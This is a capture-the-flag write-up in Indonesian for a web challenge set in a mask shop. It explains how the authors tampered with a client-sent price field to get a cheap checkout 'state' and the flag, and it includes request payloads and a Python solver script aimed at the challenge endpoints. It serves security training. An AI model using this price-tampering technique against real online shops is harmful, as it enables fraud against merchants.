
Diberikan sebuah web yang dapat digunakan untuk membeli masker di masa pandemi Covid-19 ini. Keterangan pada soal memberitahu bahwa untuk mendapatkan flag, kami harus membeli masker N-99 sebanyak 100 buah (dengan harga $100 per buah). Namun kami hanya memiliki uang sebanyak $100.

Kami pun melakukan analisis terhadap HTML dari web tersebut, dan menemukan beberapa hal berikut:
- Setelah memilih masker yang ingin dibeli dan menekan tombol Checkout, web akan mengirimkan AJAX request ke endpoint
/api/v1/getState
dengan data seperti berikut:{"selectedItems":[{"pk":"3","price":100,"quantity":100}]}
Dan server akan mengembalikan sebuahstate
berdasarkan data yang kami kirimkan tadi. Berikut contoh respon yang dikirimkan server:{"state":"iLA3sw5MkwVQVLzXbrZcbStgA2EI7vX6XSHfkMh4wO25JZiMTDys1q7GmxUSDfixQKKM0d1XxoVsnyaxqmmlKwl1ms nHgo2r4RLM55MlTjIardqJ7Izbt26XOQmJLOtTnCqZshdJooTmlvUDG0eOxrUOyQZALVKeSYSx1/Ozc9esn7AK4BLAvy+FeEWvez5fFyKkyrkBQy QQeJAhK427nA=="}
- Kemudian, kami akan diredirect ke
https://tokomasker1.web.cyber.jawara.systems/checkout?state=<state dari server>
dimana pada halaman tersebut ditampilkan data produk yang sudah kami pilih sebelumnya beserta total harganya. Hal tersebut mungkin karena di balik layar, web mengirimkan AJAX request ke endpoint/api/v1/getSelectedItems
dengan data yaknistate
yang sudah diberikan server sebelumnya. Server kemudian akan mengembalikan data produk yang telah kita pilih beserta total harga nya, seperti berikut:{ "selectedItems": [ { "pk": "3", "price": 100, "quantity": 100, "image_path": "n99_mask.jpg", "name": "N99 Mask" } ], "totalPrice": 10000 }
- Selanjutnya, ketika kami menekan tombol Proceed to Payment, kami akan diredirect ke
https://tokomasker1.web.cyber.jawara.systems/invoice?state=<state dari server>
dimana didalamnya terdapat tombol Pay. Saat menekan tombol Pay tersebut, web akan mengirimkan AJAX request ke/api/v1/getInvoice
dengan data yaknistate
yang diberikan server sebelumnya. Pada endpoint ini lah dilakukan validasi apakah masker yang kami beli adalah masker N-99 sebanyak 100 buah.
Berdasarkan informasi tersebut, kami berasumsi bahwa tema serangan ini adalah Parameter Tampering. Hal tersebut dikarenakan state
yang digunakan pada proses Checkout dan Payment dari web ini dihasilkan berdasarkan data selectedItems
yang kami kirimkan (lihat Poin 1 diatas).
Oleh sebab itu, kami mencoba mengirimkan data selectedItems
, namun dengan value price
yang sudah dimodifikasi agar lebih murah. Berikut data yang kami kirimkan:

Dan berikut state
yang didapatkan:

1 2 3 4 |
{ "state": "iLA3sw5MkwVQVLzXbrZcbStgA2EI7vX6XSHfkMh4wO03VXuTpfDsnL9ZfeUYrfdAak2phm4Wj5yjAJ+m5p12EcCRt808tFwlcpcZS9pV3rQCr5Dk6TeTqUTkXcr1za2Ex12UtTdSjEC3ojyQrC9T7l0fZmWH9GlH/D5xp++yVLD6StTXQ6YnL04CNiypaKRk" } |
Ketika state
tersebut kami kirimkan ke endpoint /api/v1/getSelectedItems
, berikut hasil yang dikembalikan:

Terlihat bahwa, ketika state
yang kami kirimkan diubah kembali ke bentuk data produk, value price
dari produk yang kami pilih bernilai 1, sesuai dengan yang kami input sebelumnya. Karena itu, value totalPrice
pun menjadi hanya bernilai 100 untuk 100 buah masker N-99.
Terakhir, kami hanya perlu mengirimkan state
tersebut ke endpoint /api/v1/getInvoice
dan didapatlah flagnya:

Flag = CJ2020{ez_price_tampering_for_bonus}
Lesson learned nya, never trust user’s input, always sanitize
Untuk mempermudah, berikut solver script yang kami buat untuk menyelesaikan challenge ini:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
import requests import json import urllib.parse URL = "https://tokomasker1.web.cyber.jawara.systems" THE_STATE = "iLA3sw5MkwVQVLzXbrZcbWWIwVwzB6P1q76B3KMGLoctjKV3wOcENIdHYYxQAOoDcnj2coaLxUUN2li2vkYL8J%2BKhNCrJycXAnFVyAEmL4g7JKeJJCkk1FD86eSgSt6A%2Ba5850JWn43u946%2B4fWp5BAi2x0Wbjvmf5MFekTK87603Ju2LqHKaGEP2Eay1zwq" def getState(): uri = "/api/v1/getState" payload = { "selectedItems":[ { "pk": 3, "price":1, "quantity":"100" } ] } req = requests.post(URL + uri, json=payload) state = req.text print("[GetState] ", state) return json.loads(state) def getSelectedItems(state): uri = "/api/v1/getSelectedItems" req = requests.post(URL + uri, json=state) response = req.text print("[GetSelItems] ", response) return response def getInvoice(state): uri = "/api/v1/getInvoice" req = requests.post(URL + uri, json=state) response = req.text print("[GetInvoice] ", response) return response state = (getState()) # print(urllib.parse.quote(state['state'], safe='')) getSelectedItems(state) getInvoice(state) |
